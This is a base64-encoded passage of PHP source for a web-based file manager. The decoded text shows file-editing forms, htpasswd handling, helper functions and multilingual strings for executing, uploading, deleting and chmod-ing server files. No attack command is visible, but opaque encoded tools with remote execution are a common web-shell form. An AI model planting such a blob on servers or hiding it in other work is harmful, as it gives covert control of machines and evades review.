bWwoJGF1dGhmaWxlKSAuICImcXVvdDtcCiI7CgkJZWNobyAnUmVxdWlyZSB2YWxpZC11c2VyJzsK CX0KCgllY2hvICc8L3RleHRhcmVhPgoKCTxociAvPgonOwoKCWlmICgkYXBhY2hlICYmIGJhc2Vu YW1lKCRmaWxlKSA9PSAkaHRwYXNzd2QpIHsKCQllY2hvICcKCScgLiB3b3JkKCd1c2VyJykgLiAn OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlciIgLz4KCScgLiB3b3JkKCdwYXNzd29yZCcp IC4gJzogPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCIgLz4KCTxpbnB1dCB0 eXBlPSJzdWJtaXQiIHZhbHVlPSInIC4gd29yZCgnYWRkJykgLiAnIiAvPgoKCTxociAvPgonOwoK CX0KCglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0YWNjZXNzKSB7CgkJZWNo byAnCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJiYXNpY19hdXRoIiB2YWx1ZT0iJyAuIHdv cmQoJ2FkZF9iYXNpY19hdXRoJykgLiAnIiAvPgoKCTxociAvPgonOwoKCX0KCgllY2hvICcKCTxp bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImVkaXQiIC8+Cgk8aW5wdXQg dHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4K CTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3Rv cnkpIC4gJyIgLz4KCTxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9IicgLiB3b3JkKCdyZXNldCcp IC4gJyIgaWQ9InJlZF9idXR0b24iIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzYXZl IiB2YWx1ZT0iJyAuIHdvcmQoJ3NhdmUnKSAuICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJt YXJnaW4tbGVmdDogNTBweCIgLz4KCjwvdGQ+CjwvdHI+CjwvdGFibGU+Cgo8cD48YSBocmVmPSIn IC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29y ZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4KCjwvZm9ybT4KCic7CgoJaHRtbF9mb290ZXIoKTsKCn0K CmZ1bmN0aW9uIHNwYWNlciAoKSB7CglnbG9iYWwgJGNvbHM7CgoJZWNobyAnPHRyPgoJPHRkIGNv bHNwYW49IicgLiAkY29scyAuICciIHN0eWxlPSJoZWlnaHQ6IDFlbSI+PC90ZD4KPC90cj4KJzsK Cn0KCmZ1bmN0aW9uIHRleHRmaWVsZHNpemUgKCRjb250ZW50KSB7CgoJJHNpemUgPSBzdHJsZW4o JGNvbnRlbnQpICsgNTsKCWlmICgkc2l6ZSA8IDMwKSAkc2l6ZSA9IDMwOwoKCXJldHVybiAkc2l6 ZTsKCn0KCmZ1bmN0aW9uIHJlcXVlc3RfZHVtcCAoKSB7CgoJZm9yZWFjaCAoJF9SRVFVRVNUIGFz ICRrZXkgPT4gJHZhbHVlKSB7CgkJZWNobyAiXHQ8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9 XCIiIC4gaHRtbCgka2V5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkdmFsdWUpIC4gIlwiIC8+XAoi OwoJfQoKfQoKLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLwoKZnVuY3Rpb24gaHRtbCAoJHN0cmluZykg ewoJZ2xvYmFsICRzaXRlX2NoYXJzZXQ7CglyZXR1cm4gaHRtbGVudGl0aWVzKCRzdHJpbmcsIEVO VF9DT01QQVQsICRzaXRlX2NoYXJzZXQpOwp9CgpmdW5jdGlvbiB3b3JkICgkd29yZCkgewoJZ2xv YmFsICR3b3JkcywgJHdvcmRfY2hhcnNldDsKCXJldHVybiBodG1sZW50aXRpZXMoJHdvcmRzWyR3 b3JkXSwgRU5UX0NPTVBBVCwgJHdvcmRfY2hhcnNldCk7Cn0KCmZ1bmN0aW9uIHBocmFzZSAoJHBo cmFzZSwgJGFyZ3VtZW50cykgewoJZ2xvYmFsICR3b3JkczsKCXN0YXRpYyAkc2VhcmNoOwoKCWlm ICghaXNfYXJyYXkoJHNlYXJjaCkpIGZvciAoJGkgPSAxOyAkaSA8PSA4OyAkaSsrKSAkc2VhcmNo W10gPSAiJSRpIjsKCglmb3IgKCRpID0gMDsgJGkgPCBzaXplb2YoJGFyZ3VtZW50cyk7ICRpKysp IHsKCQkkYXJndW1lbnRzWyRpXSA9IG5sMmJyKGh0bWwoJGFyZ3VtZW50c1skaV0pKTsKCX0KCgkk cmVwbGFjZSA9IGFycmF5KCd7JyA9PiAnPHByZT4nLCAnfScgPT4nPC9wcmU+JywgJ1snID0+ICc8 Yj4nLCAnXScgPT4gJzwvYj4nKTsKCglyZXR1cm4gc3RyX3JlcGxhY2UoJHNlYXJjaCwgJGFyZ3Vt ZW50cywgc3RyX3JlcGxhY2UoYXJyYXlfa2V5cygkcmVwbGFjZSksICRyZXBsYWNlLCBubDJiciho dG1sKCR3b3Jkc1skcGhyYXNlXSkpKSk7Cgp9CgpmdW5jdGlvbiBnZXR3b3JkcyAoJGxhbmcpIHsK CWdsb2JhbCAkd29yZF9jaGFyc2V0LCAkZGF0ZV9mb3JtYXQ7CgoJc3dpdGNoICgkbGFuZykgewoJ Y2FzZSAnZGUnOgoKCQkkZGF0ZV9mb3JtYXQgPSAnZC5tLnkgSDppOnMnOwoJCSR3b3JkX2NoYXJz ZXQgPSAnSVNPLTg4NTktMSc7CgoJCXJldHVybiBhcnJheSgKJ2RpcmVjdG9yeScgPT4gJ1Zlcnpl aWNobmlzJywKJ2ZpbGUnID0+ICdEYXRlaScsCidmaWxlbmFtZScgPT4gJ0RhdGVpbmFtZScsCgon c2l6ZScgPT4gJ0dyPz9lJywKJ3Blcm1pc3Npb24nID0+ICdSZWNodGUnLAonb3duZXInID0+ICdF aWduZXInLAonZ3JvdXAnID0+ICdHcnVwcGUnLAonb3RoZXInID0+ICdBbmRlcmUnLAonZnVuY3Rp b25zJyA9PiAnRnVua3Rpb25lbicsCgoncmVhZCcgPT4gJ2xlc2VuJywKJ3dyaXRlJyA9PiAnc2No cmVpYmVuJywKJ2V4ZWN1dGUnID0+ICdhdXNm/GhyZW4nLAoKJ2NyZWF0ZV9zeW1saW5rJyA9PiAn U3ltbGluayBlcnN0ZWxsZW4nLAonZGVsZXRlJyA9PiAnbD9zY2hlbicsCidyZW5hbWUnID0+ICd1 bWJlbmVubmVuJywKJ21vdmUnID0+ICd2ZXJzY2hpZWJlbicsCidjb3B5JyA9PiAna29waWVyZW4n LAonZWRpdCcgPT4gJ2VkaXRpZXJlbicsCidkb3dubG9hZCcgPT4gJ2hlcnVudGVybGFkZW4nLAon dXBsb2FkJyA9PiAnaG9jaGxhZGVuJywKJ2NyZWF0ZScgPT4gJ2Vyc3RlbGxlbicsCidjaGFuZ2Un ID0+ICd3ZWNoc2VsbicsCidzYXZlJyA9PiAnc3BlaWNoZXJuJywKJ3NldCcgPT4gJ3NldHplJywK J3Jlc2V0JyA9PiAnenVy/GNrc2V0emVuJywKJ3JlbGF0aXZlJyA9PiAnUGZhZCB6dW0gWmllbCBy ZWxhdGl2JywKCid5ZXMnID0+ICdKYScsCidubycgPT4gJ05laW4nLAonYmFjaycgPT4gJ3p1cvxj aycsCidkZXN0aW5hdGlvbicgPT4gJ1ppZWwnLAonc3ltbGluaycgPT4gJ1N5bWJvbGlzY2hlciBM aW5rJywKJ25vX291dHB1dCcgPT4gJ2tlaW5lIEF1c2dhYmUnLAoKJ3VzZXInID0+ICdCZW51dHpl cm5hbWUnLAoncGFzc3dvcmQnID0+ICdLZW5ud29ydCcsCidhZGQnID0+ICdoaW56dWb8Z2VuJywK J2FkZF9iYXNpY19hdXRoJyA9PiAnSFRUUC1CYXNpYy1BdXRoIGhpbnp1ZvxnZW4nLAoKJ3VwbG9h ZGVkJyA9PiAnIlslMV0iIHd1cmRlIGhvY2hnZWxhZGVuLicsCidub3RfdXBsb2FkZWQnID0+ICci WyUxXSIga29ubnRlIG5pY2h0IGhvY2hnZWxhZGVuIHdlcmRlbi4nLAonYWxyZWFkeV9leGlzdHMn ID0+ICciWyUxXSIgZXhpc3RpZXJ0IGJlcmVpdHMuJywKJ2NyZWF0ZWQnID0+ICciWyUxXSIgd3Vy ZGUgZXJzdGVsbHQuJywKJ25vdF9jcmVhdGVkJyA9PiAnIlslMV0iIGtvbm50ZSBuaWNodCBlcnN0 ZWxsdCB3ZXJkZW4uJywKJ3JlYWxseV9kZWxldGUnID0+ICdTb2xsZW4gZm9sZ2VuZGUgRGF0ZWll biB3aXJrbGljaCBnZWw/c2NodCB3ZXJkZW4/JywKJ2RlbGV0ZWQnID0+ICJGb2xnZW5kZSBEYXRl aWVuIHd1cmRlbiBnZWw/c2NodDpcClslMV0iLAonbm90X2RlbGV0ZWQnID0+ICJGb2xnZW5kZSBE YXRlaWVuIGtvbm50ZW4gbmljaHQgZ2VsP3NjaHQgd2VyZGVuOlwKWyUxXSIsCidyZW5hbWVfZmls ZScgPT4gJ0JlbmVubmUgRGF0ZWkgdW06JywKJ3JlbmFtZWQnID0+ICciWyUxXSIgd3VyZGUgaW4g IlslMl0iIHVtYmVuYW5udC4nLAonbm90X3JlbmFtZWQnID0+ICciWyUxXSBrb25udGUgbmljaHQg aW4gIlslMl0iIHVtYmVuYW5udCB3ZXJkZW4uJywKJ21vdmVfZmlsZXMnID0+ICdWZXJzY2hpZWJl biBmb2xnZW5kZSBEYXRlaWVuOicsCidtb3ZlZCcgPT4gIkZvbGdlbmRlIERhdGVpZW4gd3VyZGVu IG5hY2ggXCJbJTJdXCIgdmVyc2Nob2JlbjpcClslMV0iLAonbm90X21vdmVkJyA9PiAiRm9sZ2Vu ZGUgRGF0ZWllbiBrb25udGVuIG5pY2h0IG5hY2ggXCJbJTJdXCIgdmVyc2Nob2JlbiB3ZXJkZW46 XApbJTFdIiwKJ2NvcHlfZmlsZXMnID0+ICdLb3BpZXJlIGZvbGdlbmRlIERhdGVpZW46JywKJ2Nv cGllZCcgPT4gIkZvbGdlbmRlIERhdGVpZW4gd3VyZGVuIG5hY2ggXCJbJTJdXCIga29waWVydDpc ClslMV0iLAonbm90X2NvcGllZCcgPT4gIkZvbGdlbmRlIERhdGVpZW4ga29ubnRlbiBuaWNodCBu YWNoIFwiWyUyXVwiIGtvcGllcnQgd2VyZGVuOlwKWyUxXSIsCidub3RfZWRpdGVkJyA9PiAnIlsl MV0iIGthbm4gbmljaHQgZWRpdGllcnQgd2VyZGVuLicsCidleGVjdXRlZCcgPT4gIlwiWyUxXVwi IHd1cmRlIGVyZm9sZ3JlaWNoIGF1c2dlZvxocnQ6XAp7JTJ9IiwKJ25vdF9leGVjdXRlZCcgPT4g IlwiWyUxXVwiIGtvbm50ZSBuaWNodCBlcmZvbGdyZWljaCBhdXNnZWb8aHJ0IHdlcmRlbjpcCnsl Mn0iLAonc2F2ZWQnID0+ICciWyUxXSIgd3VyZGUgZ2VzcGVpY2hlcnQuJywKJ25vdF9zYXZlZCcg PT4gJyJbJTFdIiBrb25udGUgbmljaHQgZ2VzcGVpY2hlcnQgd2VyZGVuLicsCidzeW1saW5rZWQn ID0+ICdTeW1ib2xpc2NoZXIgTGluayB2b24gIlslMl0iIG5hY2ggIlslMV0iIHd1cmRlIGVyc3Rl bGx0LicsCidub3Rfc3ltbGlua2VkJyA9PiAnU3ltYm9saXNjaGVyIExpbmsgdm9uICJbJTJdIiBu YWNoICJbJTFdIiBrb25udGUgbmljaHQgZXJzdGVsbHQgd2VyZGVuLicsCidwZXJtaXNzaW9uX2Zv cicgPT4gJ1JlY2h0ZSBm/HIgIlslMV0iOicsCidwZXJtaXNzaW9uX3NldCcgPT4gJ0RpZSBSZWNo dGUgZvxyICJbJTFdIiB3dXJkZW4gYXVmIFslMl0gZ2VzZXR6dC4nLAoncGVybWlzc2lvbl9ub3Rf c2V0JyA9PiAnRGllIFJlY2h0ZSBm/HIgIlslMV0iIGtvbm50ZW4gbmljaHQgYXVmIFslMl0gZ2Vz ZXR6dCB3ZXJkZW4uJywKJ25vdF9yZWFkYWJsZScgPT4gJyJbJTFdIiBrYW5uIG5pY2h0IGdlbGVz ZW4gd2VyZGVuLicKCQkpOwoKCWNhc2UgJ2ZyJzoKCgkJJGRhdGVfZm9ybWF0ID0gJ2QubS55IEg6 aTpzJzsKCQkkd29yZF9jaGFyc2V0ID0gJ0lTTy04ODU5LTEnOwoKCQlyZXR1cm4gYXJyYXkoCidk aXJlY3RvcnknID0+ICdS6XBlcnRvaXJlJywKJ2ZpbGUnID0+ICdGaWNoaWVyJywKJ2ZpbGVuYW1l JyA9PiAnTm9tIGZpY2hpZXInLAoKJ3NpemUnID0+ICdUYWlsbGUnLAoncGVybWlzc2lvbicgPT4g J0Ryb2l0cycsCidvd25lcicgPT4gJ1Byb3Byael0YWlyZScsCidncm91cCcgPT4gJ0dyb3VwZScs CidvdGhlcicgPT4gJ0F1dHJlcycsCidmdW5jdGlvbnMnID0+ICdGb25jdGlvbnMnLAoKJ3JlYWQn ID0+ICdMaXJlJywKJ3dyaXRlJyA9PiAnRWNyaXJlJywKJ2V4ZWN1dGUnID0+ICdFeOljdXRlcics CgonY3JlYXRlX3N5bWxpbmsnID0+ICdDcullciBsaWVuIHN5bWJvbGlxdWUnLAonZGVsZXRlJyA9 PiAnRWZmYWNlcicsCidyZW5hbWUnID0+ICdSZW5vbW1lcicsCidtb3ZlJyA9PiAnROlwbGFjZXIn LAonY29weScgPT4gJ0NvcGllcicsCidlZGl0JyA9PiAnT3V2cmlyJywKJ2Rvd25sb2FkJyA9PiAn VOls6WNoYXJnZXIgc3VyIFBDJywKJ3VwbG9hZCcgPT4gJ1TpbOljaGFyZ2VyIHN1ciBzZXJ2ZXVy JywKJ2NyZWF0ZScgPT4gJ0Ny6WVyJywKJ2NoYW5nZScgPT4gJ0NoYW5nZXInLAonc2F2ZScgPT4g J1NhdXZlZ2FyZGVyJywKJ3NldCcgPT4gJ0V46WN1dGVyJywKJ3Jlc2V0JyA9PiAnUulpbml0aWFs aXNlcicsCidyZWxhdGl2ZScgPT4gJ1JlbGF0aWYnLAoKJ3llcycgPT4gJ091aScsCidubycgPT4g J05vbicsCidiYWNrJyA9PiAnUmV0b3VyJywKJ2Rlc3RpbmF0aW9uJyA9PiAnRGVzdGluYXRpb24n LAonc3ltbGluaycgPT4gJ0xpZW4gc3ltYm9sbGlxdWUnLAonbm9fb3V0cHV0JyA9PiAnUGFzIGRl IHNvcnRpZScsCgondXNlcicgPT4gJ1V0aWxpc2F0ZXVyJywKJ3Bhc3N3b3JkJyA9PiAnTW90IGRl IHBhc3NlJywKJ2FkZCcgPT4gJ0Fqb3V0ZXInLAonYWRkX2Jhc2ljX2F1dGgnID0+ICdhZGQgYmFz aWMtYXV0aGVudGlmaWNhdGlvbicsCgondXBsb2FkZWQnID0+ICciWyUxXSIgYSDpdOkgdOls6WNo YXJn6SBzdXIgbGUgc2VydmV1ci4nLAonbm90X3VwbG9hZGVkJyA9PiAnIlslMV0iIG4gYSBwYXMg 6XTpIHTpbOljaGFyZ+kgc3VyIGxlIHNlcnZldXIuJywKJ2FscmVhZHlfZXhpc3RzJyA9PiAnIlsl MV0iIGV4aXN0ZSBk6Wo/IC4nLAonY3JlYXRlZCcgPT4gJyJbJTFdIiBhIOl06SBjcunpLicsCidu b3RfY3JlYXRlZCcgPT4gJyJbJTFdIiBuIGEgcGFzIHB1IOp0cmUgY3Lp6S4nLAoncmVhbGx5X2Rl bGV0ZScgPT4gJ0VmZmFjZXIgbGUgZmljaGllcj8nLAonZGVsZXRlZCcgPT4gIkNlcyBmaWNoaWVy cyBvbnQg6XTpIGTpdHVpdHM6XApbJTFdIiwKJ25vdF9kZWxldGVkJyA9PiAiQ2VzIGZpY2hpZXJz IG4gb250IHB1IOp0cmUgZOl0cnVpdHM6XApbJTFdIiwKJ3JlbmFtZV9maWxlJyA9PiAnUmVub21t ZSBmaWNoaWVyOicsCidyZW5hbWVkJyA9PiAnIlslMV0iIGEg6XTpIHJlbm9tbekgZW4gIlslMl0i LicsCidub3RfcmVuYW1lZCcgPT4gJyJbJTFdIG4gYSBwYXMgcHUg6nRyZSByZW5vbW3pIGVuICJb JTJdIi4nLAonbW92ZV9maWxlcycgPT4gJ0TpcGxhY2VyIGNlcyBmaWNoaWVyczonLAonbW92ZWQn ID0+ICJDZXMgZmljaGllcnMgb250IOl06SBk6XBsYWPpcyBlbiBcIlslMl1cIjpcClslMV0iLAon bm90X21vdmVkJyA9PiAiQ2VzIGZpY2hpZXJzIG4gb250IHBhcyBwdSDqdHJlIGTpcGxhY+lzIGVu IFwiWyUyXVwiOlwKWyUxXSIsCidjb3B5X2ZpbGVzJyA9PiAnQ29waWVyIGNlcyBmaWNoaWVyczon LAonY29waWVkJyA9PiAiQ2VzIGZpY2hpZXJzIG9udCDpdOkgY29waelzIGVuIFwiWyUyXVwiOlwK WyUxXSIsCidub3RfY29waWVkJyA9PiAiQ2VzIGZpY2hpZXJzIG4gb250IHBhcyBwdSDqdHJlIGNv cGnpcyBlbiBcIlslMl1cIjpcClslMV0iLAonbm90X2VkaXRlZCcgPT4gJyJbJTFdIiBuZSBwZXV0 IOp0cmUgb3V2ZXJ0LicsCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIGEg6XTpIGJyaWxsYW1tZW50 IGV46WN1dOkgOlwKeyUyfSIsCidub3RfZXhlY3V0ZWQnID0+ICJcIlslMV1cIiBuIGEgcGFzIHB1 IOp0cmUgZXjpY3V06TpcCnslMn0iLAonc2F2ZWQnID0+ICciWyUxXSIgYSDpdOkgc2F1dmVnYXJk 6S4nLAonbm90X3NhdmVkJyA9PiAnIlslMV0iIG4gYSBwYXMgcHUg6nRyZSBzYXV2ZWdhcmTpLics CidzeW1saW5rZWQnID0+ICdVbiBsaWVuIHN5bWJvbGlxdWUgZGVwdWlzICJbJTJdIiB2ZXJzICJb JTFdIiBhIOl06SBjcullLicsCidub3Rfc3ltbGlua2VkJyA9PiAnVW4gbGllbiBzeW1ib2xpcXVl IGRlcHVpcyAiWyUyXSIgdmVycyAiWyUxXSIgbiBhIHBhcyBwdSDqdHJlIGNy6ekuJywKJ3Blcm1p c3Npb25fZm9yJyA9PiAnRHJvaXRzIGRlICJbJTFdIjonLAoncGVybWlzc2lvbl9zZXQnID0+ICdE cm9pdHMgZGUgIlslMV0iIG9udCDpdOkgY2hhbmfpcyBlbiBbJTJdLicsCidwZXJtaXNzaW9uX25v dF9zZXQnID0+ICdEcm9pdHMgZGUgIlslMV0iIG4gb250IHBhcyBwdSDqdHJlIGNoYW5n6XMgZW5b JTJdLicsCidub3RfcmVhZGFibGUnID0+ICciWyUxXSIgbmUgcGV1dCBwYXMg6nRyZSBvdXZlcnQu JwoJCSk7CgoJY2FzZSAnaXQnOgoKCQkkZGF0ZV9mb3JtYXQgPSAnZC1tLVkgSDppOnMnOwoJCSR3 b3JkX2NoYXJzZXQgPSAnSVNPLTg4NTktMSc7CgoJCXJldHVybiBhcnJheSgKJ2RpcmVjdG9yeScg PT4gJ0RpcmVjdG9yeScsCidmaWxlJyA9PiAnRmlsZScsCidmaWxlbmFtZScgPT4gJ05vbWUgRmls ZScsCgonc2l6ZScgPT4gJ0RpbWVuc2lvbmknLAoncGVybWlzc2lvbicgPT4gJ1Blcm1lc3NpJywK J293bmVyJyA9PiAnUHJvcHJpZXRhcmlvJywKJ2dyb3VwJyA9PiAnR3J1cHBvJywKJ290aGVyJyA9 PiAnQWx0cm8nLAonZnVuY3Rpb25zJyA9PiAnRnVuemlvbmknLAoKJ3JlYWQnID0+ICdsZWdnaScs Cid3cml0ZScgPT4gJ3Njcml2aScsCidleGVjdXRlJyA9PiAnZXNlZ3VpJywKCidjcmVhdGVfc3lt bGluaycgPT4gJ2NyZWEgbGluayBzaW1ib2xpY28nLAonZGVsZXRlJyA9PiAnY2FuY2VsbGEnLAon cmVuYW1lJyA9PiAncmlub21pbmEnLAonbW92ZScgPT4gJ3Nwb3N0YScsCidjb3B5JyA9PiAnY29w aWEnLAonZWRpdCcgPT4gJ21vZGlmaWNhJywKJ2Rvd25sb2FkJyA9PiAnZG93bmxvYWQnLAondXBs b2FkJyA9PiAndXBsb2FkJywKJ2NyZWF0ZScgPT4gJ2NyZWEnLAonY2hhbmdlJyA9PiAnY2FtYmlh JywKJ3NhdmUnID0+ICdzYWx2YScsCidzZXQnID0+ICdpbXBvc3RhJywKJ3Jlc2V0JyA9PiAncmVp bXBvc3RhJywKJ3JlbGF0aXZlJyA9PiAnUGVyY29yc28gcmVsYXRpdm8gcGVyIGxhIGRlc3RpbmF6 aW9uZScsCgoneWVzJyA9PiAnU2knLAonbm8nID0+ICdObycsCidiYWNrJyA9PiAnaW5kaWV0cm8n LAonZGVzdGluYXRpb24nID0+ICdEZXN0aW5hemlvbmUnLAonc3ltbGluaycgPT4gJ0xpbmsgc2lt Ym9saWNvJywKJ25vX291dHB1dCcgPT4gJ25vIG91dHB1dCcsCgondXNlcicgPT4gJ1VzZXInLAon cGFzc3dvcmQnID0+ICdQYXNzd29yZCcsCidhZGQnID0+ICdhZ2dpdW5naScsCidhZGRfYmFzaWNf YXV0aCcgPT4gJ2FnZ2l1bmdpIGF1dGVudGljYXppb25lIGJhc2UnLAoKJ3VwbG9hZGVkJyA9PiAn IlslMV0iIOggc3RhdG8gY2FyaWNhdG8uJywKJ25vdF91cGxvYWRlZCcgPT4gJyJbJTFdIiBub24g 6CBzdGF0byBjYXJpY2F0by4nLAonYWxyZWFkeV9leGlzdHMnID0+ICciWyUxXSIgZXNpc3RlIGdp PyAuJywKJ2NyZWF0ZWQnID0+ICciWyUxXSIg6CBzdGF0byBjcmVhdG8uJywKJ25vdF9jcmVhdGVk JyA9PiAnIlslMV0iIG5vbiDoIHN0YXRvIGNyZWF0by4nLAoncmVhbGx5X2RlbGV0ZScgPT4gJ0Nh bmNlbGxvIHF1ZXN0aSBmaWxlID8nLAonZGVsZXRlZCcgPT4gIlF1ZXN0aSBmaWxlIHNvbm8gc3Rh dGkgY2FuY2VsbGF0aTpcClslMV0iLAonbm90X2RlbGV0ZWQnID0+ICJRdWVzdGkgZmlsZSBub24g cG9zc29ubyBlc3NlcmUgY2FuY2VsbGF0aTpcClslMV0iLAoncmVuYW1lX2ZpbGUnID0+ICdGaWxl IHJpbm9taW5hdG86JywKJ3JlbmFtZWQnID0+ICciWyUxXSIg6CBzdGF0byByaW5vbWluYXRvIGlu ICJbJTJdIi4nLAonbm90X3JlbmFtZWQnID0+ICciWyUxXSBub24g6CBzdGF0byByaW5vbWluYXRv IGluICJbJTJdIi4nLAonbW92ZV9maWxlcycgPT4gJ1Nwb3N0byBxdWVzdGkgZmlsZTonLAonbW92 ZWQnID0+ICJRdWVzdGkgZmlsZSBzb25vIHN0YXRpIHNwb3N0YXRpIGluIFwiWyUyXVwiOlwKWyUx XSIsCidub3RfbW92ZWQnID0+ICJRdWVzdGkgZmlsZSBub24gcG9zc29ubyBlc3NlcmUgc3Bvc3Rh dGkgaW4gXCJbJTJdXCI6XApbJTFdIiwKJ2NvcHlfZmlsZXMnID0+ICdDb3BpbyBxdWVzdGkgZmls ZScsCidjb3BpZWQnID0+ICJRdWVzdGkgZmlsZSBzb25vIHN0YXRpIGNvcGlhdGkgaW4gXCJbJTJd XCI6XApbJTFdIiwKJ25vdF9jb3BpZWQnID0+ICJRdWVzdGkgZmlsZSBub24gcG9zc29ubyBlc3Nl cmUgY29waWF0aSBpbiBcIlslMl1cIjpcClslMV0iLAonbm90X2VkaXRlZCcgPT4gJyJbJTFdIiBu b24gcHU/IGVzc2VyZSBtb2RpZmljYXRvLicsCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIOggc3Rh dG8gZXNlZ3VpdG8gY29uIHN1Y2Nlc3NvOlwKeyUyfSIsCidub3RfZXhlY3V0ZWQnID0+ICJcIlsl MV1cIiBub24g6CBzdGF0byBlc2VndWl0byBjb24gc3VjY2Vzc29cCnslMn0iLAonc2F2ZWQnID0+ ICciWyUxXSIg6CBzdGF0byBzYWx2YXRvLicsCidub3Rfc2F2ZWQnID0+ICciWyUxXSIgbm9uIOgg c3RhdG8gc2FsdmF0by4nLAonc3ltbGlua2VkJyA9PiAnSWwgbGluayBzaWFtYm9saWNvIGRhICJb JTJdIiBhICJbJTFdIiDoIHN0YXRvIGNyZWF0by4nLAonbm90X3N5bWxpbmtlZCcgPT4gJ0lsIGxp bmsgc2lhbWJvbGljbyBkYSAiWyUyXSIgYSAiWyUxXSIgbm9uIOggc3RhdG8gY3JlYXRvLicsCidw ZXJtaXNzaW9uX2ZvcicgPT4gJ1Blcm1lc3NpIGRpICJbJTFdIjonLAoncGVybWlzc2lvbl9zZXQn ID0+ICdJIHBlcm1lc3NpIGRpICJbJTFdIiBzb25vIHN0YXRpIGltcG9zdGF0aSBbJTJdLicsCidw ZXJtaXNzaW9uX25vdF9zZXQnID0+ICdJIHBlcm1lc3NpIGRpICJbJTFdIiBub24gc29ubyBzdGF0 aSBpbXBvc3RhdGkgWyUyXS4nLAonbm90X3JlYWRhYmxlJyA9PiAnIlslMV0iIG5vbiBwdT8gZXNz ZXJlIGxldHRvLicKCQkpOwoKCWNhc2UgJ25sJzoKCgkJJGRhdGVfZm9ybWF0ID0gJ24vai95IEg6 aTpzJzsKCQkkd29yZF9jaGFyc2V0ID0gJ0lTTy04ODU5LTEnOwoKCQlyZXR1cm4gYXJyYXkoCidk aXJlY3RvcnknID0+ICdEaXJlY3RvcnknLAonZmlsZScgPT4gJ0Jlc3RhbmQnLAonZmlsZW5hbWUn ID0+ICdCZXN0YW5kc25hYW0nLAoKJ3NpemUnID0+ICdHcm9vdHRlJywKJ3Blcm1pc3Npb24nID0+ ICdCZXZvZWdkaGVpZCcsCidvd25lcicgPT4gJ0VpZ2VuYWFyJywKJ2dyb3VwJyA9PiAnR3JvZXAn LAonb3RoZXInID0+ICdBbmRlcmVuJywKJ2Z1bmN0aW9ucycgPT4gJ0Z1bmN0aWVzJywKCidyZWFk JyA9PiAnbGV6ZW4nLAond3JpdGUnID0+ICdzY2hyaWp2ZW4nLAonZXhlY3V0ZScgPT4gJ3VpdHZv ZXJlbicsCgonY3JlYXRlX3N5bWxpbmsnID0+ICdtYWFrIHN5bWxpbmsnLAonZGVsZXRlJyA9PiAn dmVyd2lqZGVyZW4nLAoncmVuYW1lJyA9PiAnaGVybm9lbWVuJywKJ21vdmUnID0+ICd2ZXJwbGFh dHNlbicsCidjb3B5JyA9PiAna29waWVyZW4nLAonZWRpdCcgPT4gJ2Jld2Vya2VuJywKJ2Rvd25s b2FkJyA9PiAnZG93bmxvYWRlbicsCid1cGxvYWQnID0+ICd1cGxvYWRlbicsCidjcmVhdGUnID0+ ICdhYW5tYWtlbicsCidjaGFuZ2UnID0+ICd2ZXJhbmRlcmVuJywKJ3NhdmUnID0+ICdvcHNsYWFu JywKJ3NldCcgPT4gJ2luc3RlbGxlbicsCidyZXNldCcgPT4gJ3Jlc2V0dGVuJywKJ3JlbGF0aXZl JyA9PiAnUmVsYXRpZWYgcGF0IG5hYXIgZG9lbCcsCgoneWVzJyA9PiAnSmEnLAonbm8nID0+ICdO ZWUnLAonYmFjaycgPT4gJ3RlcnVnJywKJ2Rlc3RpbmF0aW9uJyA9PiAnQmVzdGVtbWluZycsCidz eW1saW5rJyA9PiAnU3ltbGluaycsCidub19vdXRwdXQnID0+ICdnZWVuIG91dHB1dCcsCgondXNl cicgPT4gJ0dlYnJ1aWtlcicsCidwYXNzd29yZCcgPT4gJ1dhY2h0d29vcmQnLAonYWRkJyA9PiAn dG9ldm9lZ2VuJywKJ2FkZF9iYXNpY19hdXRoJyA9PiAnYWRkIGJhc2ljLWF1dGhlbnRpZmljYXRp b24nLAoKJ3VwbG9hZGVkJyA9PiAnIlslMV0iIGlzIHZlcnN0dXVyZC4nLAonbm90X3VwbG9hZGVk JyA9PiAnIlslMV0iIGthbiBuaWV0IHdvcmRlbiB2ZXJzdHV1cmQuJywKJ2FscmVhZHlfZXhpc3Rz JyA9PiAnIlslMV0iIGJlc3RhYXQgYWwuJywKJ2NyZWF0ZWQnID0+ICciWyUxXSIgaXMgYWFuZ2Vt YWFrdC4nLAonbm90X2NyZWF0ZWQnID0+ICciWyUxXSIga2FuIG5pZXQgd29yZGVuIGFhbmdlbWFh a3QuJywKJ3JlYWxseV9kZWxldGUnID0+ICdEZXplIGJlc3RhbmRlbiB2ZXJ3aWpkZXJlbj8nLAon ZGVsZXRlZCcgPT4gIkRlemUgYmVzdGFuZGVuIHppam4gdmVyd2lqZGVyZDpcClslMV0iLAonbm90 X2RlbGV0ZWQnID0+ICJEZXplIGJlc3RhbmRlbiBrb25kZW4gbmlldCB3b3JkZW4gdmVyd2lqZGVy ZDpcClslMV0iLAoncmVuYW1lX2ZpbGUnID0+ICdCZXN0YW5kc25hYW0gdmVyYW5kZXJlbjonLAon cmVuYW1lZCcgPT4gJyJbJTFdIiBoZWV0IG51ICJbJTJdIi4nLAonbm90X3JlbmFtZWQnID0+ICci 